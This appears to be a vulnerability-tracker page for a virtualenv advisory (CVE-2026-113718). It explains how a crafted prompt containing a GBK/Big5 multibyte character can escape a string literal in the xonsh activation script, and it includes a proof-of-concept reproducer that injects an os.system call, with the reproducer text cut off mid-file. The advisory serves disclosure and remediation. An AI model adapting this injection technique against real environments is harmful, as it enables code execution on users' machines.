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Response snapshot Oct 27, 2026, 02:10 UTC

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VulnerabilityCVE-2026-113718

virtualenv: Xonsh activation literals depend on the script decoding codec

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK.

Published Updated

At a glance

Exploited
Not known
Severity
7.1 High (CVSS 4.0)
Chance of exploitation
0.2% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-394h-qwmc-48pf (opens a new tab)

What happened

## Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment.

## Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators.

Continue reading

## Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script.

## Affected code

The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).

## Mechanism

The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote.

A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

## Reproduction and evidence

The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.

com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.

## Attack sequence

```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.

xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree

work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]')) print(f"activate_this.py read as UTF-8: {prompt_line.

decode('utf-8')}") print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}") assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir] control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True) ran_in_utf8_session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True) ran_in_gbk_session = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK") ```

**`repro.d/ac

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

7.1

Version 4.0As of

CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 7.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-394h-qwmc-48pf (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-394h-qwmc-48pf, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-113718 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113718, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 23). virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718). https://kevwire.com/record/CVE-2026-113718

MLA

"virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718)." KEVWire, 23 Oct. 2026, kevwire.com/record/CVE-2026-113718.

Chicago

KEVWire. "virtualenv: Xonsh activation literals depend on the script decoding codec (CVE-2026-113718)." Last modified October 23, 2026. https://kevwire.com/record/CVE-2026-113718.

Evidence summary (plain text)

virtualenv: Xonsh activation literals depend on the script decoding codec (Oct 23, 2026).
Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-394h-qwmc-48pf).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-394h-qwmc-48pf: https://github.com/advisories/GHSA-394h-qwmc-48pf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-113718: https://nvd.nist.gov/vuln/detail/CVE-2026-113718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-26
Record ID: CVE-2026-113718.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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